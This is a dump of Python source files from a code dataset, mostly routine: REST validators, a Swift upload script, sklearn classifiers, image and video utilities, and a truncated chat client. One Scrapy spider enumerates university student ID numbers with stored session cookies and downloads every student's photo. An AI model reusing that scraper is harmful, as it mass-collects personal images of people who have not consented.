__future__ import unicode_literals\nfrom rest_framework import validators\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.fields import SkipField\nfrom rest_framework_mongoengine.repr import smart_repr\n\nclass MongoValidatorMixin:\n\n def exclude_current_instance(self, queryset, instance):\n if instance is not None:\n return queryset.filter(pk__ne=(instance.pk))\n else:\n return queryset\n\n\nclass UniqueValidator(MongoValidatorMixin, validators.UniqueValidator):\n __doc__ = ' Replacement of DRF UniqueValidator.\\n\\n Used by :class:`DocumentSerializer` for fields, present in unique indexes.\\n '\n\n def __init__(self, queryset, message=None, lookup=''):\n \"\"\"\n Setting empty string as default lookup for UniqueValidator.\n For Mongoengine exact is a shortcut to query with regular experission.\n This fixes https://github.com/umutbozkurt/django-rest-framework-mongoengine/issues/264\n \"\"\"\n super(UniqueValidator, self).__init__(queryset, message, lookup)\n\n def __call__(self, value, serializer_field):\n field_name = serializer_field.source_attrs[(-1)]\n instance = getattr(serializer_field.parent, 'instance', None)\n queryset = self.queryset\n queryset = self.filter_queryset(value, queryset, field_name)\n queryset = self.exclude_current_instance(queryset, instance)\n if queryset.first():\n raise ValidationError(self.message.format())\n\n def __repr__(self):\n return '<%s(queryset=%s)>' % (\n self.__class__.__name__,\n smart_repr(self.queryset))\n\n\nclass UniqueTogetherValidator(MongoValidatorMixin, validators.UniqueTogetherValidator):\n __doc__ = ' Replacement of DRF UniqueTogetherValidator.\\n\\n Used by :class:`DocumentSerializer` for fields, present in unique indexes.\\n '\n\n def __call__(self, attrs, serializer):\n try:\n self.enforce_required_fields(attrs, serializer)\n except SkipField:\n return\n else:\n instance = getattr(serializer, 'instance', None)\n queryset = self.queryset\n queryset = self.filter_queryset(attrs, queryset, serializer)\n queryset = self.exclude_current_instance(queryset, instance)\n checked_values = [value for field, value in attrs.items() if field in self.fields]\n if None not in checked_values:\n if queryset.first():\n field_names = ', '.join(self.fields)\n raise ValidationError(self.message.format(field_names=field_names))\n\n def __repr__(self):\n return '<%s(queryset=%s, fields=%s)>' % (\n self.__class__.__name__,\n smart_repr(self.queryset),\n smart_repr(self.fields))\n\n\nclass OptionalUniqueTogetherValidator(UniqueTogetherValidator):\n __doc__ = '\\n This validator passes validation if all of validation fields are missing. (for use with partial data)\\n '\n\n def enforce_required_fields(self, attrs, serializer):\n try:\n super(OptionalUniqueTogetherValidator, self).enforce_required_fields(attrs, serializer)\n except ValidationError as e:\n if set(e.detail.keys()) == set(self.fields):\n raise SkipField()\n else:\n raise", "sub_path": "pycfiles/django-rest-framework-mongoengine-3.4.1.tar/validators.cpython-36.py", "file_name": "validators.cpython-36.py", "file_ext": "py", "file_size_in_byte": 3646, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.validators.UniqueValidator", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.validators", "line_number": 23, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 41, "usage_type": "call"}, {"api_name": "rest_framework_mongoengine.repr.smart_repr", "line_number": 46, "usage_type": "call"}, {"api_name": "rest_framework.validators.UniqueTogetherValidator", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rest_framework.validators", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.fields.SkipField", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework_mongoengine.repr.smart_repr", "line_number": 71, "usage_type": "call"}, {"api_name": "rest_framework_mongoengine.repr.smart_repr", "line_number": 72, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 81, "usage_type": "name"}, {"api_name": "rest_framework.fields.SkipField", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "222185792", "text": "# Imports\nimport logging\nfrom os import walk, path\nfrom os.path import join\nfrom swiftclient.multithreading import OutputManager\nfrom swiftclient.service import SwiftService, SwiftError, SwiftUploadObject\nfrom sys import argv\n\nlogging.basicConfig(level=logging.DEBUG)\nlogging.getLogger(\"requests\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"swiftclient\").setLevel(logging.CRITICAL)\nlogger = logging.getLogger(__name__)\nfh = logging.FileHandler('swiftDataMove.log')\nformatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\nfh.setLevel(logging.DEBUG)\nfh.setFormatter(formatter)\nlogger.addHandler(fh)\n\n# Account information\nauthVersion = '1.0'\nauthURL = 'https://brtnswiftdev.burton.com/auth/v1.0'\nuser = 'test'\nkey = 'testing'\n# Options for the SwiftService object creation\nuu_threads = 30\nsegment_size = 5368709120\n# Build the dictionary to pass for SwiftService\nauthDict = {\"auth_version\": authVersion, \"auth\": authURL, \"user\": user, \"key\": key, \"object_uu_threads\": uu_threads, \"segment_size\": segment_size}\n\n# Command line arguments \ncontainerVar = argv[1]\ndirectoryVar = argv[2]\n\nwith SwiftService(authDict) as swift, OutputManager() as out_manager:\n try:\n # Collect all the files and folders in the given directory\n objsVar = []\n dir_markers = []\n for (_dir, _ds, _fs) in walk(unicode(directoryVar)): # walk directory and force unicode decoding\n if not (_ds + _fs):\n dir_markers.append(_dir) # create list of pseudo directory objects\n else:\n if '.DS_Store' in _fs:\n _fs.remove('.DS_Store')\n objsVar.extend([join(_dir, _f) for _f in _fs]) # create list of objects\n\n # Now that we've collected all the required files and dir markers\n # build the ``SwiftUploadObject``s for the call to upload\n objsVar = [\n SwiftUploadObject(\n o, object_name=path.relpath(o, directoryVar)\n ) for o in objsVar\n ]\n dir_markers = [\n SwiftUploadObject(\n d, object_name=path.relpath(d, directoryVar), options={'dir_marker': True}\n ) for d in dir_markers\n ]\n\n #f = open('objectList.txt', 'w')\n #for _objs in objsVar:\n # try:\n # f.write(_objs.object_name)\n # f.write('\\n')\n # except UnicodeEncodeError:\n # print \"Error on Unicode: \", _objs.source\n # pass\n #f.close()\n #print('Completed object listing')\n #exit()\n\n # Schedule uploads on the SwiftService thread pool and iterate\n # over the results\n for r in swift.upload(containerVar, objsVar + dir_markers): # Upload happens here!\n if r['success']: # If successfully uploaded\n if 'object' in r: # and it's an object\n print(r['object']) # print out the object name\n elif 'for_object' in r: # or if it is an object segment\n print( # print the relative crap for a segment\n '%s segment %s' % (r['for_object'],\n r['segment_index'])\n )\n else:\n error = r['error'] # If not successful, tell me why\n if r['action'] == \"create_container\":\n logger.warning(\n 'Warning: failed to create container '\n \"'%s'%s\", containerVar, error\n )\n elif r['action'] == \"upload_object\":\n logger.error(\n \"Failed to upload object %s to container %s: %s\" %\n (r['object'], containerVar, error)\n )\n else:\n logger.error(\"%s\" % error)\n print('Transfer Completed')\n\n except SwiftError as e:\n logger.error(e.value)\n", "sub_path": "swiftMover.py", "file_name": "swiftMover.py", "file_ext": "py", "file_size_in_byte": 4160, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "name"}, {"api_name": "swiftclient.service.SwiftService", "line_number": 34, "usage_type": "call"}, {"api_name": "swiftclient.multithreading.OutputManager", "line_number": 34, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "swiftclient.service.SwiftUploadObject", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "name"}, {"api_name": "swiftclient.service.SwiftUploadObject", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "name"}, {"api_name": "swiftclient.service.SwiftError", "line_number": 99, "usage_type": "name"}]} +{"seq_id": "166717371", "text": "import pandas as pd\nfrom sklearn import tree\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.metrics import f1_score\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\n\n\ndef train(X, labels):\n X_train, X_test, y_train, y_test = train_test_split(X, labels, test_size=0.2, random_state=0)\n\n encoder = LabelEncoder()\n y_train = encoder.fit_transform(y_train)\n y_test = encoder.transform(y_test)\n\n clf = tree.DecisionTreeClassifier(class_weight='balanced')\n\n clf.fit(X_train, y_train)\n\n y_pred = clf.predict(X_test)\n\n score_macro = f1_score(y_test, y_pred, average=\"macro\")\n score_micro = f1_score(y_test, y_pred, average=\"micro\")\n print(\"F1_macro:{0}, F1_micro:{1}\".format(score_macro, score_micro))\n print(classification_report(y_test, y_pred))\n\n\nif __name__ == '__main__':\n darklyrics = pd.read_csv('../darklyrics-proc-tokens-single.csv',\n converters={'tokens': lambda x: x.strip(\"[]\").replace(\"'\", \"\").split(\", \")})\n\n corpus = darklyrics.apply(lambda x: \" \".join(x['tokens']), axis=1)\n\n # TF-IDF\n vectorizer = TfidfVectorizer()\n X = vectorizer.fit_transform(corpus)\n labels = darklyrics['genre']\n\n train(X, labels)\n\n # TF\n vectorizer = CountVectorizer()\n X = vectorizer.fit_transform(corpus)\n labels = darklyrics['genre']\n\n train(X, labels)\n\n # Binary\n vectorizer = CountVectorizer(binary=True)\n X = vectorizer.fit_transform(corpus)\n labels = darklyrics['genre']\n\n train(X, labels)\n\n", "sub_path": "single-label/train-tree.py", "file_name": "train-tree.py", "file_ext": "py", "file_size_in_byte": 1636, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sklearn.model_selection.train_test_split", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 17, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "650594932", "text": "# noqa\n# coding=utf-8\nfrom __future__ import absolute_import\n\nfrom affine import Affine\nimport mercantile\nfrom rasterio.crs import CRS\n\nfrom . import render\n\nTILE_SHAPE = (256, 256)\nWEB_MERCATOR_CRS = CRS.from_epsg(3857)\n\n\ndef render_tile(tile, transformation=None, format=None, scale=1, buffer=0):\n \"\"\"Render a tile into Web Mercator.\"\"\"\n bounds = mercantile.xy_bounds(tile)\n\n return render(\n (bounds, WEB_MERCATOR_CRS),\n map(int, Affine.scale(scale) * TILE_SHAPE),\n WEB_MERCATOR_CRS,\n format=format,\n transformation=transformation,\n buffer=buffer\n )\n", "sub_path": "marblecutter/tiling.py", "file_name": "tiling.py", "file_ext": "py", "file_size_in_byte": 606, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rasterio.crs.CRS.from_epsg", "line_number": 12, "usage_type": "call"}, {"api_name": "rasterio.crs.CRS", "line_number": 12, "usage_type": "name"}, {"api_name": "mercantile.xy_bounds", "line_number": 17, "usage_type": "call"}, {"api_name": "affine.Affine.scale", "line_number": 21, "usage_type": "call"}, {"api_name": "affine.Affine", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "78626114", "text": "import os\r\nimport xlsxwriter\r\nfrom openpyxl import load_workbook, Workbook\r\n\r\n\r\nclass Write_Excel:\r\n\r\n\r\n def __init__(self,filename):\r\n self.filename=filename\r\n global workbook\r\n workbook =xlsxwriter.Workbook(filename)\r\n\r\n def add_sheet(self,name):\r\n sheet=workbook._add_sheet(self,name)\r\n\r\n def write_Excel(self,name,row,col,value):\r\n sheet=workbook._add_sheet(name)\r\n write_cell=sheet.write(row,col,value)\r\n workbook.close()\r\n # print(1)\r\n\r\nclass Write_excel(object):\r\n '''修改excel数据'''\r\n def __init__(self, filename,sheetname):\r\n self.filename = filename\r\n self.sheetname =sheetname\r\n if not os.path.exists(self.filename):\r\n self.wb =Workbook()\r\n self.ws =self.wb.create_sheet(self.sheetname,0)\r\n else:\r\n self.wb = load_workbook(self.filename)\r\n self.ws = self.wb.active # 激活sheet\r\n def write(self, row_n, col_n, value):\r\n '''写入数据，如(2,3，\"hello\"),第二行第三列写入数据\"hello\"'''\r\n self.ws=self.wb.get_sheet_by_name(self.sheetname)\r\n self.ws.cell(row_n, col_n).value = value\r\n self.wb.save(self.filename)\r\n\r\n", "sub_path": "iptable/getip/WriteExcel.py", "file_name": "WriteExcel.py", "file_ext": "py", "file_size_in_byte": 1236, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "xlsxwriter.Workbook", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "openpyxl.Workbook", "line_number": 29, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "474525257", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport mpl_toolkits.mplot3d.axes3d as p3\r\nimport matplotlib.animation as animation\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nfrom sklearn.decomposition import PCA\r\n\r\nslabel = 11\r\n\r\npitchdata = np.loadtxt('C:\\\\Users\\\\uditroy\\\\Documents\\\\data\\\\applsci-08-00135-s001\\\\applsci-243313-supplementary\\\\data\\\\pitch\\\\' \\\r\n + str(slabel) + '.txt', usecols=(1), skiprows=1)\r\n\r\nfig = plt.figure(0)\r\nplt.plot(pitchdata)\r\nplt.draw()\r\n\r\nmydatapath='C:\\\\Users\\\\uditroy\\\\Documents\\\\data\\\\applsci-08-00135-s001\\\\applsci-243313-supplementary\\\\data\\\\motionTracings'\r\nonlyfiles = [f for f in listdir(mydatapath) if isfile(join(mydatapath, f))]\r\nlabels = []\r\n\r\ntruelabels = np.load('dataset\\\\mmlabels.npy')\r\n\r\nprint(sum((truelabels == slabel).astype(int)))\r\n\r\n# extract labels from filenames\r\nfor file in onlyfiles:\r\n parts = file.split('_')\r\n v = int(parts[1])\r\n if v > 16:\r\n v = v - 16\r\n labels.append(v)\r\n \r\nlabels = np.array(labels)\r\nprint(sum((labels == slabel).astype(int)))\r\n\r\nplot3D = True\r\n\r\ndataset = []\r\nfig = plt.figure(1)\r\nfor idx, file in enumerate(onlyfiles):\r\n if labels[idx] != slabel:\r\n continue\r\n #cols=['frame','time','RHX','RHY','RHZ','LHX','LHY','LHZ']\r\n datum = np.loadtxt(mydatapath + '\\\\' + file, usecols=(2,3,4,5,6,7))\r\n dataset.append(datum)\r\n if plot3D:\r\n ax = fig.add_subplot(111, projection = '3d')\r\n ax.plot(datum[:, 0], datum[:, 1], datum[:, 2],'r', label='left')\r\n ax.plot(datum[:, 3], datum[:, 4], datum[:, 5],'b', label='right')\r\n ax.plot(datum[0:1, 0], datum[0:1, 1], datum[0:1, 2],'ko')\r\n ax.plot(datum[0:1, 3], datum[0:1, 4], datum[0:1, 5],'ko')\r\n ax.legend()\r\n else:\r\n pcal = PCA(n_components=1)\r\n pcar = PCA(n_components=1)\r\n pcal.fit(datum[:,(0,1,2)])\r\n pcar.fit(datum[:,(3,4,5)])\r\n lhsnew = pcal.transform(datum[:,(0,1,2)])\r\n rhsnew = pcal.transform(datum[:,(3,4,5)])\r\n plt.plot(lhsnew, 'r', label='left')\r\n plt.plot(rhsnew, 'b', label='right')\r\n plt.legend()\r\n #plt.show()\r\n plt.pause(1) # <-------\r\n plt.waitforbuttonpress(0)\r\n #plt.close(fig)\r\n plt.clf()\r\n \r\n", "sub_path": "mm_3danim.py", "file_name": "mm_3danim.py", "file_ext": "py", "file_size_in_byte": 2245, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.loadtxt", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.waitforbuttonpress", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}]} +{"seq_id": "279297150", "text": "# -*- coding: utf-8 -*-\nimport re\n\nimport scrapy\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.selector import Selector\nfrom NUAA.items import NuaaItem\nfrom NUAA.settings import *\n\n\nclass NuaapicSpider(scrapy.Spider):\n name = \"nuaapic\"\n allowed_domains = [\"ded.nuaa.edu.cn\"]\n start_urls = ['http://ded.nuaa.edu.cn/netean/GetPic.asp?pic=xh&xh=161330219']\n\n college = 1 # 需判断\n grade = 12\n major = 1\n mclass = 1 # 需判断\n stu_id = 1 # 需判断\n\n last_stu = 0\n last_class = 0\n last_major = 0\n last_grade = 0\n last_college = 0\n\n def __init__(self):\n self.headers = HEADER\n self.cookies = COOKIES\n\n def start_requests(self):\n for i, url in enumerate(self.start_urls):\n yield FormRequest(url, meta={'cookiejar': 1}, headers=self.headers, cookies=self.cookies,\n callback=self.parse_item)\n\n def parse_item(self, response):\n # selector = Selector(response)\n # f = open('new.txt','a+')\n # f.write(\"%s\\n%s\\n%s\" % (response.url, response.headers, response.body))\n # f.close()\n for self.college in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 15, 16]:\n for self.grade in range(12, 16):\n if self.last_grade == '1':\n self.last_grade = '0'\n else:\n for self.major in range(1, 8):\n if self.last_major == '1':\n self.last_major = '0'\n else:\n for self.mclass in range(1, 10):\n if self.last_class == '1':\n self.last_class = '0'\n else:\n for self.stu_id in range(1, 45):\n if self.last_stu == '1':\n self.last_stu = '0'\n else:\n iurl = u\"http://ded.nuaa.edu.cn/netean/GetPic.asp?pic=xh&xh={0}{1}{2}{3}{4}\".format(\n self.getRealInfo(self.college),\n self.grade,\n self.major,\n self.getRealInfo(self.mclass),\n self.getRealInfo(self.stu_id))\n yield Request(url=iurl, meta={'cookiejar': 1}, headers=self.headers,\n cookies=self.cookies,\n callback=self.getPic)\n\n def getPic(self, response):\n if response.status == '504' or response.status == '500':\n url = response.url\n stu = re.findall(r\"\\d\\d(?=$)\", url).pop()\n cla = re.findall(r\"\\d\\d(?=\\d\\d$)\", url).pop()\n maj = re.findall(r\"\\d(?=\\d\\d\\d\\d$)\", url).pop()\n # gra = re.findall(r\"\\d\\d(?=\\d\\d\\d\\d\\d$)\", url).pop()\n # clo = re.findall(r\"\\d\\d(?=\\d\\d\\d\\d\\d\\d\\d$)\", url).pop()\n if stu != '01':\n self.last_stu = 1\n else:\n if cla != '01':\n self.last_class = 1\n else:\n if maj != '1':\n self.last_major = 1\n else:\n self.last_grade = 1\n else:\n item = NuaaItem()\n f = open('url_record.txt', 'a+')\n print >> f, response.url\n f.close()\n item['image_urls'] = [response.url]\n return item\n\n def getRealInfo(self, mclass):\n if mclass < 10:\n return '0' + mclass.__str__()\n else:\n return mclass.__str__()\n", "sub_path": "NUAA/NUAA/spiders/nuaaspider.py", "file_name": "nuaaspider.py", "file_ext": "py", "file_size_in_byte": 3907, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "scrapy.Spider", "line_number": 11, "usage_type": "attribute"}, {"api_name": "scrapy.http.FormRequest", "line_number": 34, "usage_type": "call"}, {"api_name": "scrapy.http.Request", "line_number": 65, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 72, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 73, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 74, "usage_type": "call"}, {"api_name": "NUAA.items.NuaaItem", "line_number": 88, "usage_type": "call"}]} +{"seq_id": "183245568", "text": "import json\nimport numpy as np\n\nimport PIL.Image\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\nimport matplotlib.pyplot as plt\n\nimport requests\nfrom io import BytesIO\n\n\n\ndef url_to_image(url):\n response = requests.get(url)\n return PIL.Image.open(BytesIO(response.content))\n\n\ndef get_data(data, max):\n\n print(\"Getting images...\")\n images = []\n for i in range(1, max+1):\n percent = round(i * 100 / max, 2)\n print(str(percent) + \"%\", end=\"\\r\")\n try:\n img = PIL.Image.open(\"../data/memes/\" + data[str(i)][\"id\"] + \".png\")\n images.append(process_image(img))\n img.close()\n except FileNotFoundError:\n try:\n img = PIL.Image.open(\"../data/memes/\" + data[str(i)][\"id\"] + \".jpg\")\n images.append(process_image(img))\n img.close()\n except FileNotFoundError:\n try:\n img = url_to_image(data[str(i)][\"media\"])\n images.append(process_image(img))\n img.close()\n except:\n print(str(i) + \" depreciated\")\n data[str(i)] = \"Null\"\n\n return images, get_upvotes(data, max)\n\n\ndef process_image(img):\n img = tf.keras.preprocessing.image.img_to_array(img.convert('RGB'), data_format=None, dtype=None).astype(np.uint8)\n img = tf.image.resize(img, (512, 512)) / 255\n return img\n\n\ndef get_upvotes(data, max):\n print(\"Getting upvotes...\")\n upvotes = []\n for i in range(1, max+1):\n if data[str(i)] != \"Null\":\n upvotes.append(data[str(i)][\"ups\"] - data[str(i)][\"downs\"])\n\n first, median, third = np.percentile(upvotes, 25), np.percentile(upvotes, 50), np.percentile(upvotes, 75)\n\n for i in range(len(upvotes)):\n if upvotes[i] < first:\n upvotes[i] = 0\n elif upvotes[i] < median:\n upvotes[i] = 1\n elif upvotes[i] < third:\n upvotes[i] = 2\n else:\n upvotes[i] = 3\n\n return upvotes\n\n\ndef divide(data):\n size = len(data)\n training_size = int(size * 0.8)\n test_size = int(size)\n return data[0:training_size], data[training_size: test_size]\n\n\ndef process(max):\n print(\"\\nLoading data...\\n\")\n\n response = requests.get(\"https://raw.githubusercontent.com/RobinLmn/ML-MemePopularity/main/data/db.json\")\n data = response.json()[\"_default\"]\n\n images, upvotes = get_data(data, max)\n\n assert(len(images) == len(upvotes))\n\n print(\"\\nSaving data...\\n\")\n np.save(\"images.npy\", images)\n np.save(\"upvotes.npy\", upvotes)\n\n print(\"\\nFinished processing\\n\")\n\n\ndef update_upvotes():\n response = requests.get(\"https://raw.githubusercontent.com/RobinLmn/ML-MemePopularity/main/data/db.json\")\n data = response.json()[\"_default\"]\n np.save(\"upvotes.npy\", get_upvotes(data, 3225))\n\n\ndef get(max):\n images, labels = np.load(\"../data/preprocessing/images.npy\"), np.load(\"../data/preprocessing/upvotes.npy\")\n assert(len(images) == len(labels))\n return images, labels\n\n\nif __name__ == '__main__':\n #process(3225)\n update_upvotes()\n", "sub_path": "backend/processdata.py", "file_name": "processdata.py", "file_ext": "py", "file_size_in_byte": 3097, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "PIL.Image.Image.open", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 18, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 18, "usage_type": "call"}, {"api_name": "PIL.Image.Image.open", "line_number": 29, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 29, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 29, "usage_type": "name"}, {"api_name": "PIL.Image.Image.open", "line_number": 34, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 34, "usage_type": "name"}, {"api_name": "tensorflow.keras.preprocessing.image.img_to_array", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 50, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.percentile", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 96, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 108, "usage_type": "call"}]} +{"seq_id": "323778932", "text": "import sys\nfrom argparse import ArgumentParser\n\nfrom moviepy.video.io.VideoFileClip import VideoFileClip\nfrom moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip\n\n\ndef parse_input(argv):\n my_input_parser = ArgumentParser()\n my_input_parser.add_argument(\n dest='video_file_path',\n help='the video path to cut'\n )\n my_input_parser.add_argument(\n dest='start_time', type=int,\n help='how many second from the start to cut from'\n )\n my_input_parser.add_argument(\n dest='end_time', type=int, nargs='?', default=None,\n help='how many seconds from the start to cut to'\n )\n my_input_parser.add_argument(\n '-o', '--out', dest='out_file_path',\n default=None,\n help='the file path to save the file after cutting it (get generate a random name without the argument)'\n )\n return my_input_parser.parse_args(argv)\n\n\ndef get_video_length(video_path):\n with VideoFileClip(video_path) as source_clip:\n source_length = source_clip.duration\n return source_length\n\n\ndef get_absolute_time(relative_time, video_length):\n if relative_time >= 0:\n return relative_time\n return video_length + relative_time\n\n\ndef main(argv):\n video_length = get_video_length(argv.video_file_path)\n start_time = get_absolute_time(argv.start_time, video_length)\n end_time = get_absolute_time(argv.end_time or video_length, video_length)\n ffmpeg_extract_subclip(\n argv.video_file_path,\n start_time,\n end_time,\n argv.out_file_path\n )\n\n\nif __name__ == '__main__':\n main(parse_input(sys.argv[1:]))\n", "sub_path": "cut_video_command.py", "file_name": "cut_video_command.py", "file_ext": "py", "file_size_in_byte": 1620, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "moviepy.video.io.VideoFileClip.VideoFileClip", "line_number": 31, "usage_type": "call"}, {"api_name": "moviepy.video.io.ffmpeg_tools.ffmpeg_extract_subclip", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 55, "usage_type": "attribute"}]} +{"seq_id": "32796491", "text": "from functools import partial\nimport argparse\nimport asyncio\nimport logging\nimport json\n\n\nclass UnknownTokenError(Exception):\n\tpass\n\n\nasync def get_reader_data(reader):\n data = await reader.readline()\n logging.debug(data.decode())\n return data.decode()\n\nasync def get_writer_data(writer, message):\n data = message + '\\n'\n writer.write(data.encode())\n await writer.drain()\n logging.debug(data)\n\n\nasync def authenticate(reader, writer, nickname):\n await 